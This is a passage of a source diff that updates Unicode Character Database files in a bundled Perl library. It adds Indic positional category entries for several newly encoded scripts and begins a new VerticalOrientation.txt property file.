1133E..1133F ; Right # Mc [2] GRANTHA VOWEL SIGN AA..GRANTHA VOWEL SIGN I
-11341..11342 ; Right # Mc [2] GRANTHA VOWEL SIGN U..GRANTHA VOWEL SIGN UU
-# Note: U and UU have contextually variable placement in Grantha.
-11343..11344 ; Right # Mc [2] GRANTHA VOWEL SIGN VOCALIC R..GRANTHA VOWEL SIGN VOCALIC RR
+11341..11344 ; Right # Mc [4] GRANTHA VOWEL SIGN U..GRANTHA VOWEL SIGN VOCALIC RR
1134D ; Right # Mc GRANTHA SIGN VIRAMA
11357 ; Right # Mc GRANTHA AU LENGTH MARK
11362..11363 ; Right # Mc [2] GRANTHA VOWEL SIGN VOCALIC L..GRANTHA VOWEL SIGN VOCALIC LL
+11435 ; Right # Mc NEWA VOWEL SIGN AA
+11437 ; Right # Mc NEWA VOWEL SIGN II
+11440..11441 ; Right # Mc [2] NEWA VOWEL SIGN O..NEWA VOWEL SIGN AU
+11445 ; Right # Mc NEWA SIGN VISARGA
114B0 ; Right # Mc TIRHUTA VOWEL SIGN AA
114B2 ; Right # Mc TIRHUTA VOWEL SIGN II
114BD ; Right # Mc TIRHUTA VOWEL SIGN SHORT O
@@ -230,6 +240,13 @@ ABEC ; Right # Mc MEETEI MAYEK LUM IYEK
116AF ; Right # Mc TAKRI VOWEL SIGN II
116B6 ; Right # Mc TAKRI SIGN VIRAMA
11720..11721 ; Right # Mc [2] AHOM VOWEL SIGN A..AHOM VOWEL SIGN AA
+11A39 ; Right # Mc ZANABAZAR SQUARE SIGN VISARGA
+11A57..11A58 ; Right # Mc [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU
+11A97 ; Right # Mc SOYOMBO SIGN VISARGA
+11C2F ; Right # Mc BHAIKSUKI VOWEL SIGN AA
+11C3E ; Right # Mc BHAIKSUKI SIGN VISARGA
+11CA9 ; Right # Mc MARCHEN SUBJOINED LETTER YA
+11CB4 ; Right # Mc MARCHEN VOWEL SIGN O
# Indic_Positional_Category=Left
@@ -265,12 +282,14 @@ AAEE ; Left # Mc MEETEI MAYEK VOWEL SIGN AU
111B4 ; Left # Mc SHARADA VOWEL SIGN I
112E1 ; Left # Mc KHUDAWADI VOWEL SIGN I
11347..11348 ; Left # Mc [2] GRANTHA VOWEL SIGN EE..GRANTHA VOWEL SIGN AI
+11436 ; Left # Mc NEWA VOWEL SIGN I
114B1 ; Left # Mc TIRHUTA VOWEL SIGN I
114B9 ; Left # Mc TIRHUTA VOWEL SIGN E
115B0 ; Left # Mc SIDDHAM VOWEL SIGN I
115B8 ; Left # Mc SIDDHAM VOWEL SIGN E
116AE ; Left # Mc TAKRI VOWEL SIGN I
11726 ; Left # Mc AHOM VOWEL SIGN E
+11CB1 ; Left # Mc MARCHEN VOWEL SIGN I
# Indic_Positional_Category=Visual_Order_Left
@@ -321,6 +340,7 @@ AABB..AABC ; Visual_Order_Left # Lo [2] TAI VIET VOWEL AUE..TAI VIET VOWEL
0A81..0A82 ; Top # Mn [2] GUJARATI SIGN CANDRABINDU..GUJARATI SIGN ANUSVARA
0AC5 ; Top # Mn GUJARATI VOWEL SIGN CANDRA E
0AC7..0AC8 ; Top # Mn [2] GUJARATI VOWEL SIGN E..GUJARATI VOWEL SIGN AI
+0AFA..0AFF ; Top # Mn [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
0B01 ; Top # Mn ORIYA SIGN CANDRABINDU
0B3F ; Top # Mn ORIYA VOWEL SIGN I
0B56 ; Top # Mn ORIYA AI LENGTH MARK
@@ -336,7 +356,8 @@ AABB..AABC ; Visual_Order_Left # Lo [2] TAI VIET VOWEL AUE..TAI VIET VOWEL
0CBF ; Top # Mn KANNADA VOWEL SIGN I
0CC6 ; Top # Mn KANNADA VOWEL SIGN E
0CCC..0CCD ; Top # Mn [2] KANNADA VOWEL SIGN AU..KANNADA SIGN VIRAMA
-0D01 ; Top # Mn MALAYALAM SIGN CANDRABINDU
+0D00..0D01 ; Top # Mn [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU
+0D3B..0D3C ; Top # Mn [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA
0D4D ; Top # Mn MALAYALAM SIGN VIRAMA
0DCA ; Top # Mn SINHALA SIGN AL-LAKUNA
0DD2..0DD3 ; Top # Mn [2] SINHALA VOWEL SIGN KETTI IS-PILLA..SINHALA VOWEL SIGN DIGA IS-PILLA
@@ -397,9 +418,11 @@ AABB..AABC ; Visual_Order_Left # Lo [2] TAI VIET VOWEL AUE..TAI VIET VOWEL
1CDA..1CDB ; Top # Mn [2] VEDIC TONE DOUBLE SVARITA..VEDIC TONE TRIPLE SVARITA
1CE0 ; Top # Mn VEDIC TONE RIGVEDIC KASHMIRI INDEPENDENT SVARITA
1CF4 ; Top # Mn VEDIC TONE CANDRA ABOVE
+1DFB ; Top # Mn COMBINING DELETION MARK
A806 ; Top # Mn SYLOTI NAGRI SIGN HASANTA
A80B ; Top # Mn SYLOTI NAGRI SIGN ANUSVARA
A826 ; Top # Mn SYLOTI NAGRI VOWEL SIGN E
+A8C5 ; Top # Mn SAURASHTRA SIGN CANDRABINDU
A8E0..A8F1 ; Top # Mn [18] COMBINING DEVANAGARI DIGIT ZERO..COMBINING DEVANAGARI SIGN AVAGRAHA
A94A ; Top # Mn REJANG VOWEL SIGN AI
A94F..A951 ; Top # Mn [3] REJANG CONSONANT SIGN NG..REJANG CONSONANT SIGN R
@@ -440,12 +463,15 @@ ABE5 ; Top # Mn MEETEI MAYEK VOWEL SIGN ANAP
11230..11231 ; Top # Mn [2] KHOJKI VOWEL SIGN E..KHOJKI VOWEL SIGN AI
11234 ; Top # Mn KHOJKI SIGN ANUSVARA
11236..11237 ; Top # Mn [2] KHOJKI SIGN NUKTA..KHOJKI SIGN SHADDA
+1123E ; Top # Mn KHOJKI SIGN SUKUN
112DF ; Top # Mn KHUDAWADI SIGN ANUSVARA
112E5..112E8 ; Top # Mn [4] KHUDAWADI VOWEL SIGN E..KHUDAWADI VOWEL SIGN AU
11301 ; Top # Mn GRANTHA SIGN CANDRABINDU
11340 ; Top # Mn GRANTHA VOWEL SIGN II
11366..1136C ; Top # Mn [7] COMBINING GRANTHA DIGIT ZERO..COMBINING GRANTHA DIGIT SIX
11370..11374 ; Top # Mn [5] COMBINING GRANTHA LETTER A..COMBINING GRANTHA LETTER PA
+1143E..1143F ; Top # Mn [2] NEWA VOWEL SIGN E..NEWA VOWEL SIGN AI
+11443..11444 ; Top # Mn [2] NEWA SIGN CANDRABINDU..NEWA SIGN ANUSVARA
114BA ; Top # Mn TIRHUTA VOWEL SIGN SHORT E
114BF..114C0 ; Top # Mn [2] TIRHUTA SIGN CANDRABINDU..TIRHUTA SIGN ANUSVARA
115BC..115BD ; Top # Mn [2] SIDDHAM SIGN CANDRABINDU..SIDDHAM SIGN ANUSVARA
@@ -459,6 +485,22 @@ ABE5 ; Top # Mn MEETEI MAYEK VOWEL SIGN ANAP
11722..11723 ; Top # Mn [2] AHOM VOWEL SIGN I..AHOM VOWEL SIGN II
11727 ; Top # Mn AHOM VOWEL SIGN AW
11729..1172B ; Top # Mn [3] AHOM VOWEL SIGN AI..AHOM SIGN KILLER
+11A01 ; Top # Mn ZANABAZAR SQUARE VOWEL SIGN I
+11A04..11A09 ; Top # Mn [6] ZANABAZAR SQUARE VOWEL SIGN E..ZANABAZAR SQUARE VOWEL SIGN REVERSED I
+11A35..11A38 ; Top # Mn [4] ZANABAZAR SQUARE SIGN CANDRABINDU..ZANABAZAR SQUARE SIGN ANUSVARA
+11A51 ; Top # Mn SOYOMBO VOWEL SIGN I
+11A54..11A56 ; Top # Mn [3] SOYOMBO VOWEL SIGN E..SOYOMBO VOWEL SIGN OE
+11A96 ; Top # Mn SOYOMBO SIGN ANUSVARA
+11A98 ; Top # Mn SOYOMBO GEMINATION MARK
+11C30..11C31 ; Top # Mn [2] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN II
+11C38..11C3D ; Top # Mn [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA
+11CB3 ; Top # Mn MARCHEN VOWEL SIGN E
+11CB5..11CB6 ; Top # Mn [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU
+11D31..11D35 ; Top # Mn [5] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN UU
+11D3A ; Top # Mn MASARAM GONDI VOWEL SIGN E
+11D3C..11D3D ; Top # Mn [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
+11D3F..11D41 ; Top # Mn [3] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI SIGN VISARGA
+11D43 ; Top # Mn MASARAM GONDI SIGN CANDRA
# Indic_Positional_Category=Bottom
@@ -563,6 +605,9 @@ ABED ; Bottom # Mn MEETEI MAYEK APUN IYEK
1122F ; Bottom # Mn KHOJKI VOWEL SIGN U
112E3..112E4 ; Bottom # Mn [2] KHUDAWADI VOWEL SIGN U..KHUDAWADI VOWEL SIGN UU
112E9..112EA ; Bottom # Mn [2] KHUDAWADI SIGN NUKTA..KHUDAWADI SIGN VIRAMA
+11438..1143D ; Bottom # Mn [6] NEWA VOWEL SIGN U..NEWA VOWEL SIGN VOCALIC LL
+11442 ; Bottom # Mn NEWA SIGN VIRAMA
+11446 ; Bottom # Mn NEWA SIGN NUKTA
114B3..114B8 ; Bottom # Mn [6] TIRHUTA VOWEL SIGN U..TIRHUTA VOWEL SIGN VOCALIC LL
114C2..114C3 ; Bottom # Mn [2] TIRHUTA SIGN VIRAMA..TIRHUTA SIGN NUKTA
115B2..115B5 ; Bottom # Mn [4] SIDDHAM VOWEL SIGN U..SIDDHAM VOWEL SIGN VOCALIC RR
@@ -575,6 +620,22 @@ ABED ; Bottom # Mn MEETEI MAYEK APUN IYEK
1171D ; Bottom # Mn AHOM CONSONANT SIGN MEDIAL LA
11724..11725 ; Bottom # Mn [2] AHOM VOWEL SIGN U..AHOM VOWEL SIGN UU
11728 ; Bottom # Mn AHOM VOWEL SIGN O
+11A02..11A03 ; Bottom # Mn [2] ZANABAZAR SQUARE VOWEL SIGN UE..ZANABAZAR SQUARE VOWEL SIGN U
+11A0A ; Bottom # Mn ZANABAZAR SQUARE VOWEL LENGTH MARK
+11A33..11A34 ; Bottom # Mn [2] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN VIRAMA
+11A3B..11A3E ; Bottom # Mn [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+11A52..11A53 ; Bottom # Mn [2] SOYOMBO VOWEL SIGN UE..SOYOMBO VOWEL SIGN U
+11A59..11A5B ; Bottom # Mn [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK
+11A8A..11A95 ; Bottom # Mn [12] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO FINAL CONSONANT SIGN -A
+11C32..11C36 ; Bottom # Mn [5] BHAIKSUKI VOWEL SIGN U..BHAIKSUKI VOWEL SIGN VOCALIC L
+11C3F ; Bottom # Mn BHAIKSUKI SIGN VIRAMA
+11C92..11CA7 ; Bottom # Mn [22] MARCHEN SUBJOINED LETTER KA..MARCHEN SUBJOINED LETTER ZA
+11CAA..11CB0 ; Bottom # Mn [7] MARCHEN SUBJOINED LETTER RA..MARCHEN VOWEL SIGN AA
+11CB2 ; Bottom # Mn MARCHEN VOWEL SIGN U
+11D36 ; Bottom # Mn MASARAM GONDI VOWEL SIGN VOCALIC R
+11D42 ; Bottom # Mn MASARAM GONDI SIGN NUKTA
+11D44 ; Bottom # Mn MASARAM GONDI SIGN HALANTA
+11D47 ; Bottom # Mn MASARAM GONDI RA-KARA
# Indic_Positional_Category=Top_And_Bottom
@@ -618,6 +679,10 @@ ABED ; Bottom # Mn MEETEI MAYEK APUN IYEK
1B3B ; Bottom_And_Right # Mc BALINESE VOWEL SIGN RA REPA TEDUNG
A9C0 ; Bottom_And_Right # Mc JAVANESE PANGKON
+# Indic_Positional_Category=Bottom_And_Left
+
+A9BF ; Bottom_And_Left # Mc JAVANESE CONSONANT SIGN CAKRA
+
# Indic_Positional_Category=Top_And_Bottom_And_Right
1B3D ; Top_And_Bottom_And_Right # Mc BALINESE VOWEL SIGN LA LENGA TEDUNG
diff --git a/gnu/usr.bin/perl/lib/unicore/VerticalOrientation.txt b/gnu/usr.bin/perl/lib/unicore/VerticalOrientation.txt
new file mode 100644
index 00000000000..567df2f2cb7
--- /dev/null
+++ b/gnu/usr.bin/perl/lib/unicore/VerticalOrientation.txt
@@ -0,0 +1,2199 @@
+# VerticalOrientation-10.0.0.txt
+# Date: 2017-03-08, 02:05:46 GMT [EM, KI, LI]
+# © 2017 Unicode®, Inc.
+# Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
+# For terms of use, see http://www.unicode.org/terms_of_use.html
+#
+# Unicode Character Database
+# For documentation, see http://www.unicode.org/reports/tr44/
+#
+# Vertical_Orientation (vo) Property
+#
+# This file defines the Vertical_Orientation property. See UAX #50:
+# Unicode Vertical Text Layout, at http://www.unicode.org/reports/tr50/
+#
+# The format of the file is two fields separated by a semicolon.
+# Field 0: Unicode code point value or range of code point values in
+# hexadecimal form
+# Field 1: Vertical_Orientation property value, one of the following:
+# U - Upright, the same orientation as in the code charts
+# R - Rotated 90 degrees clockwise compared to the code charts
+# Tu - Transformed typographically, with fallback to Upright
+# Tr - Transformed typographically, with fallback to Rotated
+#
+# - Certain ranges of unassigned code points default to U. These ranges
+# are mostly associated with CJK scripts and punctuation, or with
+# a small number of other scripts which are predominantly Upright.
+# The private use areas also default to U, because of their most
+# common use for CJK. In the following list of explicit code points
+# and ranges, all unassigned code points default to U:
+# Canadian Syllabics Extended: U+18B0..U+18FF
+# Reserved Default_Ignorable_Code_Point: U+2065
+# Number Forms: U+2150..U+218F
+# Control Pictures & OCR U+2400..U+245F
+# Symbols: U+2BB8..U+2BFF
+# CJK-Related & Yi: U+2E80..U+A4CF
+# Hangul Jamo Extended-A: U+A960..U+A97F
+# Hangul Syllables & Jamo Extended-B: U+AC00..U+D7FF
+# PUA & CJK Compatibility Ideographs: U+E000..U+FAFF
+# Vertical Forms: U+FE10..U+FE1F
+# Small Form Variants: U+FE50..U+FE6F
+# Fullwidth Forms: U+FFE7
+# Specials: U+FFF0..U+FFF8
+# Siddham: U+11580..U+115FF
+# Zanabazar Square & Soyombo: U+11A00..U+11AAF
+# Egyptian Hieroglyphs: U+13000..U+1342F
+# Anatolian Hieroglyphs: U+14400..U+1467F
+# Ideographic Symbols & Tangut: U+16FE0..U+18AFF
+# Kana Extended-A: U+1B100..U+1B12F
+# Nushu: U+1B170..U+1B2FF
+# Musical Symbols: U+1D000..U+1D1FF
+# Symbols & Rods: U+1D300..U+1D37F
+# Sutton SignWriting: U+1D800..U+1DAAF
+# Game Symbols: U+1F000..U+1F0FF
+# Enclosed Symbols: U+1F100..U+1F2FF
+# Symbols: U+1F680..U+1F7FF
+# Symbols and Pictographs: U+1F900..U+1F9FF
+# Plane 2: U+20000..U+2FFFD
+# Plane 3: U+30000..U+3FFFD
+# Plane 15 PUA: U+F0000..U+FFFFD
+# Plane 16 PUA: U+100000..U+10FFFD
+#
+# - All other code points, assigned and unassigned, that are not listed
+# explicitly in the data section of this file are given the value R.
+#
+# The comments following the number sign "#" list the General_Category
+# property value or the L& alias of the derived value LC, the Unicode
+# character name or names, and, in lines with ranges of code points,
+# the code point count in square brackets.
+#
+# @missing: 0000..10FFFF; R
+
+0000..001F ; R # Cc [32] <control-0000>..<control-001F>
+0020 ; R # Zs SPACE
+0021..0023 ; R # Po [3] EXCLAMATION MARK..NUMBER SIGN
+0024 ; R # Sc DOLLAR SIGN
+0025..0027 ; R # Po [3] PERCENT SIGN..APOSTROPHE
+0028 ; R # Ps LEFT PARENTHESIS
+0029 ; R # Pe RIGHT PARENTHESIS
+002A ; R # Po ASTERISK
+002B ; R # Sm PLUS SIGN
+002C ; R # Po COMMA
+002D ; R # Pd HYPHEN-MINUS
+002E..002F ; R # Po [2] FULL STOP..SOLIDUS
+0030..0039 ; R # Nd [10] DIGIT ZERO..DIGIT NINE
+003A..003B ; R # Po [2] COLON..SEMICOLON
+003C..003E ; R # Sm [3] LESS-THAN SIGN..GREATER-THAN SIGN
+003F..0040 ; R # Po [2] QUESTION MARK..COMMERCIAL AT
+0041..005A ; R # Lu [26] LATIN CAPITAL LETTER A..LATIN CAPITAL LETTER Z
+005B ; R # Ps LEFT SQUARE BRACKET
+005C ; R # Po REVERSE SOLIDUS
+005D ; R # Pe RIGHT SQUARE BRACKET
+005E ; R # Sk CIRCUMFLEX ACCENT
+005F ; R # Pc LOW LINE
+0060 ; R # Sk GRAVE ACCENT
+0061..007A ; R # Ll [26] LATIN SMALL LETTER A..LATIN SMALL LETTER Z
+007B ; R # Ps LEFT CURLY BRACKET
+007C ; R # Sm VERTICAL LINE
+007D ; R # Pe RIGHT CURLY BRACKET
+007E ; R # Sm TILDE
+007F ; R # Cc <control-007F>
+0080..009F ; R # Cc [32] <control-0080>..<control-009F>
+00A0 ; R # Zs NO-BREAK SPACE
+00A1 ; R # Po INVERTED EXCLAMATION MARK
+00A2..00A5 ; R # Sc [4] CENT SIGN..YEN SIGN
+00A6 ; R # So BROKEN BAR
+00A7 ; U # Po SECTION SIGN
+00A8 ; R # Sk DIAERESIS
+00A9 ; U # So COPYRIGHT SIGN
+00AA ; R # Lo FEMININE ORDINAL INDICATOR
+00AB ; R # Pi LEFT-POINTING DOUBLE ANGLE QUOTATION MARK
+00AC ; R # Sm NOT SIGN
+00AD ; R # Cf SOFT HYPHEN
+00AE ; U # So REGISTERED SIGN
+00AF ; R # Sk MACRON
+00B0 ; R # So DEGREE SIGN
+00B1 ; U # Sm PLUS-MINUS SIGN
+00B2..00B3 ; R # No [2] SUPERSCRIPT TWO..SUPERSCRIPT THREE
+00B4 ; R # Sk ACUTE ACCENT
+00B5 ; R # Ll MICRO SIGN
+00B6..00B7 ; R # Po [2] PILCROW SIGN..MIDDLE DOT
+00B8 ; R # Sk CEDILLA
+00B9 ; R # No SUPERSCRIPT ONE
+00BA ; R # Lo MASCULINE ORDINAL INDICATOR
+00BB ; R # Pf RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK
+00BC..00BE ; U # No [3] VULGAR FRACTION ONE QUARTER..VULGAR FRACTION THREE QUARTERS
+00BF ; R # Po INVERTED QUESTION MARK
+00C0..00D6 ; R # Lu [23] LATIN CAPITAL LETTER A WITH GRAVE..LATIN CAPITAL LETTER O WITH DIAERESIS
+00D7 ; U # Sm MULTIPLICATION SIGN
+00D8..00F6 ; R # L& [31] LATIN CAPITAL LETTER O WITH STROKE..LATIN SMALL LETTER O WITH DIAERESIS
+00F7 ; U # Sm DIVISION SIGN
+00F8..00FF ; R # L& [8] LATIN SMALL LETTER O WITH STROKE..LATIN SMALL LETTER Y WITH DIAERESIS
+0100..017F ; R # L& [128] LATIN CAPITAL LETTER A WITH MACRON..LATIN SMALL LETTER LONG S
+0180..01BA ; R # L& [59] LATIN SMALL LETTER B WITH STROKE..LATIN SMALL LETTER EZH WITH TAIL
+01BB ; R # Lo LATIN LETTER TWO WITH STROKE
+01BC..01BF ; R # L& [4] LATIN CAPITAL LETTER TONE FIVE..LATIN LETTER WYNN
+01C0..01C3 ; R # Lo [4] LATIN LETTER DENTAL CLICK..LATIN LETTER RETROFLEX CLICK
+01C4..024F ; R # L& [140] LATIN CAPITAL LETTER DZ WITH CARON..LATIN SMALL LETTER Y WITH STROKE
+0250..0293 ; R # Ll [68] LATIN SMALL LETTER TURNED A..LATIN SMALL LETTER EZH WITH CURL
+0294 ; R # Lo LATIN LETTER GLOTTAL STOP
+0295..02AF ; R # Ll [27] LATIN LETTER PHARYNGEAL VOICED FRICATIVE..LATIN SMALL LETTER TURNED H WITH FISHHOOK AND TAIL
+02B0..02C1 ; R # Lm [18] MODIFIER LETTER SMALL H..MODIFIER LETTER REVERSED GLOTTAL STOP
+02C2..02C5 ; R # Sk [4] MODIFIER LETTER LEFT ARROWHEAD..MODIFIER LETTER DOWN ARROWHEAD
+02C6..02D1 ; R # Lm [12] MODIFIER LETTER CIRCUMFLEX ACCENT..MODIFIER LETTER HALF TRIANGULAR COLON
+02D2..02DF ; R # Sk [14] MODIFIER LETTER CENTRED RIGHT HALF RING..MODIFIER LETTER CROSS ACCENT
+02E0..02E4 ; R # Lm [5] MODIFIER LETTER SMALL GAMMA..MODIFIER LETTER SMALL REVERSED GLOTTAL STOP
+02E5..02E9 ; R # Sk [5] MODIFIER LETTER EXTRA-HIGH TONE BAR..MODIFIER LETTER EXTRA-LOW TONE BAR
+02EA..02EB ; U # Sk [2] MODIFIER LETTER YIN DEPARTING TONE MARK..MODIFIER LETTER YANG DEPARTING TONE MARK
+02EC ; R # Lm MODIFIER LETTER VOICING
+02ED ; R # Sk MODIFIER LETTER UNASPIRATED
+02EE ; R # Lm MODIFIER LETTER DOUBLE APOSTROPHE
+02EF..02FF ; R # Sk [17] MODIFIER LETTER LOW DOWN ARROWHEAD..MODIFIER LETTER LOW LEFT ARROW
+0300..036F ; R # Mn [112] COMBINING GRAVE ACCENT..COMBINING LATIN SMALL LETTER X
+0370..0373 ; R # L& [4] GREEK CAPITAL LETTER HETA..GREEK SMALL LETTER ARCHAIC SAMPI
+0374 ; R # Lm GREEK NUMERAL SIGN
+0375 ; R # Sk GREEK LOWER NUMERAL SIGN
+0376..0377 ; R # L& [2] GREEK CAPITAL LETTER PAMPHYLIAN DIGAMMA..GREEK SMALL LETTER PAMPHYLIAN DIGAMMA
+037A ; R # Lm GREEK YPOGEGRAMMENI
+037B..037D ; R # Ll [3] GREEK SMALL REVERSED LUNATE SIGMA SYMBOL..GREEK SMALL REVERSED DOTTED LUNATE SIGMA SYMBOL
+037E ; R # Po GREEK QUESTION MARK
+037F ; R # Lu GREEK CAPITAL LETTER YOT
+0384..0385 ; R # Sk [2] GREEK TONOS..GREEK DIALYTIKA TONOS
+0386 ; R # Lu GREEK CAPITAL LETTER ALPHA WITH TONOS
+0387 ; R # Po GREEK ANO TELEIA
+0388..038A ; R # Lu [3] GREEK CAPITAL LETTER EPSILON WITH TONOS..GREEK CAPITAL LETTER IOTA WITH TONOS
+038C ; R # Lu GREEK CAPITAL LETTER OMICRON WITH TONOS
+038E..03A1 ; R # L& [20] GREEK CAPITAL LETTER UPSILON WITH TONOS..GREEK CAPITAL LETTER RHO
+03A3..03F5 ; R # L& [83] GREEK CAPITAL LETTER SIGMA..GREEK LUNATE EPSILON SYMBOL
+03F6 ; R # Sm GREEK REVERSED LUNATE EPSILON SYMBOL
+03F7..03FF ; R # L& [9] GREEK CAPITAL LETTER SHO..GREEK CAPITAL REVERSED DOTTED LUNATE SIGMA SYMBOL
+0400..0481 ; R # L& [130] CYRILLIC CAPITAL LETTER IE WITH GRAVE..CYRILLIC SMALL LETTER KOPPA
+0482 ; R # So CYRILLIC THOUSANDS SIGN
+0483..0487 ; R # Mn [5] COMBINING CYRILLIC TITLO..COMBINING CYRILLIC POKRYTIE
+0488..0489 ; R # Me [2] COMBINING CYRILLIC HUNDRED THOUSANDS SIGN..COMBINING CYRILLIC MILLIONS SIGN
+048A..04FF ; R # L& [118] CYRILLIC CAPITAL LETTER SHORT I WITH TAIL..CYRILLIC SMALL LETTER HA WITH STROKE
+0500..052F ; R # L& [48] CYRILLIC CAPITAL LETTER KOMI DE..CYRILLIC SMALL LETTER EL WITH DESCENDER
+0531..0556 ; R # Lu [38] ARMENIAN CAPITAL LETTER AYB..ARMENIAN CAPITAL LETTER FEH
+0559 ; R # Lm ARMENIAN MODIFIER LETTER LEFT HALF RING
+055A..055F ; R # Po [6] ARMENIAN APOSTROPHE..ARMENIAN ABBREVIATION MARK
+0561..0587 ; R # Ll [39] ARMENIAN SMALL LETTER AYB..ARMENIAN SMALL LIGATURE ECH YIWN
+0589 ; R # Po ARMENIAN FULL STOP
+058A ; R # Pd ARMENIAN HYPHEN
+058D..058E ; R # So [2] RIGHT-FACING ARMENIAN ETERNITY SIGN..LEFT-FACING ARMENIAN ETERNITY SIGN
+058F ; R # Sc ARMENIAN DRAM SIGN
+0591..05BD ; R # Mn [45] HEBREW ACCENT ETNAHTA..HEBREW POINT METEG
+05BE ; R # Pd HEBREW PUNCTUATION MAQAF
+05BF ; R # Mn HEBREW POINT RAFE
+05C0 ; R # Po HEBREW PUNCTUATION PASEQ
+05C1..05C2 ; R # Mn [2] HEBREW POINT SHIN DOT..HEBREW POINT SIN DOT
+05C3 ; R # Po HEBREW PUNCTUATION SOF PASUQ
+05C4..05C5 ; R # Mn [2] HEBREW MARK UPPER DOT..HEBREW MARK LOWER DOT
+05C6 ; R # Po HEBREW PUNCTUATION NUN HAFUKHA
+05C7 ; R # Mn HEBREW POINT QAMATS QATAN
+05D0..05EA ; R # Lo [27] HEBREW LETTER ALEF..HEBREW LETTER TAV
+05F0..05F2 ; R # Lo [3] HEBREW LIGATURE YIDDISH DOUBLE VAV..HEBREW LIGATURE YIDDISH DOUBLE YOD
+05F3..05F4 ; R # Po [2] HEBREW PUNCTUATION GERESH..HEBREW PUNCTUATION GERSHAYIM
+0600..0605 ; R # Cf [6] ARABIC NUMBER SIGN..ARABIC NUMBER MARK ABOVE
+0606..0608 ; R # Sm [3] ARABIC-INDIC CUBE ROOT..ARABIC RAY
+0609..060A ; R # Po [2] ARABIC-INDIC PER MILLE SIGN..ARABIC-INDIC PER TEN THOUSAND SIGN
+060B ; R # Sc AFGHANI SIGN
+060C..060D ; R # Po [2] ARABIC COMMA..ARABIC DATE SEPARATOR
+060E..060F ; R # So [2] ARABIC POETIC VERSE SIGN..ARABIC SIGN MISRA
+0610..061A ; R # Mn [11] ARABIC SIGN SALLALLAHOU ALAYHE WASSALLAM..ARABIC SMALL KASRA
+061B ; R # Po ARABIC SEMICOLON
+061C ; R # Cf ARABIC LETTER MARK
+061E..061F ; R # Po [2] ARABIC TRIPLE DOT PUNCTUATION MARK..ARABIC QUESTION MARK
+0620..063F ; R # Lo [32] ARABIC LETTER KASHMIRI YEH..ARABIC LETTER FARSI YEH WITH THREE DOTS ABOVE
+0640 ; R # Lm ARABIC TATWEEL
+0641..064A ; R # Lo [10] ARABIC LETTER FEH..ARABIC LETTER YEH
+064B..065F ; R # Mn [21] ARABIC FATHATAN..ARABIC WAVY HAMZA BELOW
+0660..0669 ; R # Nd [10] ARABIC-INDIC DIGIT ZERO..ARABIC-INDIC DIGIT NINE
+066A..066D ; R # Po [4] ARABIC PERCENT SIGN..ARABIC FIVE POINTED STAR
+066E..066F ; R # Lo [2] ARABIC LETTER DOTLESS BEH..ARABIC LETTER DOTLESS QAF
+0670 ; R # Mn ARABIC LETTER SUPERSCRIPT ALEF
+0671..06D3 ; R # Lo [99] ARABIC LETTER ALEF WASLA..ARABIC LETTER YEH BARREE WITH HAMZA ABOVE
+06D4 ; R # Po ARABIC FULL STOP
+06D5 ; R # Lo ARABIC LETTER AE
+06D6..06DC ; R # Mn [7] ARABIC SMALL HIGH LIGATURE SAD WITH LAM WITH ALEF MAKSURA..ARABIC SMALL HIGH SEEN
+06DD ; R # Cf ARABIC END OF AYAH
+06DE ; R # So ARABIC START OF RUB EL HIZB
+06DF..06E4 ; R # Mn [6] ARABIC SMALL HIGH ROUNDED ZERO..ARABIC SMALL HIGH MADDA
+06E5..06E6 ; R # Lm [2] ARABIC SMALL WAW..ARABIC SMALL YEH
+06E7..06E8 ; R # Mn [2] ARABIC SMALL HIGH YEH..ARABIC SMALL HIGH NOON
+06E9 ; R # So ARABIC PLACE OF SAJDAH
+06EA..06ED ; R # Mn [4] ARABIC EMPTY CENTRE LOW STOP..ARABIC SMALL LOW MEEM
+06EE..06EF ; R # Lo [2] ARABIC LETTER DAL WITH INVERTED V..ARABIC LETTER REH WITH INVERTED V
+06F0..06F9 ; R # Nd [10] EXTENDED ARABIC-INDIC DIGIT ZERO..EXTENDED ARABIC-INDIC DIGIT NINE
+06FA..06FC ; R # Lo [3] ARABIC LETTER SHEEN WITH DOT BELOW..ARABIC LETTER GHAIN WITH DOT BELOW
+06FD..06FE ; R # So [2] ARABIC SIGN SINDHI AMPERSAND..ARABIC SIGN SINDHI POSTPOSITION MEN
+06FF ; R # Lo ARABIC LETTER HEH WITH INVERTED V
+0700..070D ; R # Po [14] SYRIAC END OF PARAGRAPH..SYRIAC HARKLEAN ASTERISCUS
+070F ; R # Cf SYRIAC ABBREVIATION MARK
+0710 ; R # Lo SYRIAC LETTER ALAPH
+0711 ; R # Mn SYRIAC LETTER SUPERSCRIPT ALAPH
+0712..072F ; R # Lo [30] SYRIAC LETTER BETH..SYRIAC LETTER PERSIAN DHALATH
+0730..074A ; R # Mn [27] SYRIAC PTHAHA ABOVE..SYRIAC BARREKH
+074D..074F ; R # Lo [3] SYRIAC LETTER SOGDIAN ZHAIN..SYRIAC LETTER SOGDIAN FE
+0750..077F ; R # Lo [48] ARABIC LETTER BEH WITH THREE DOTS HORIZONTALLY BELOW..ARABIC LETTER KAF WITH TWO DOTS ABOVE
+0780..07A5 ; R # Lo [38] THAANA LETTER HAA..THAANA LETTER WAAVU
+07A6..07B0 ; R # Mn [11] THAANA ABAFILI..THAANA SUKUN
+07B1 ; R # Lo THAANA LETTER NAA
+07C0..07C9 ; R # Nd [10] NKO DIGIT ZERO..NKO DIGIT NINE
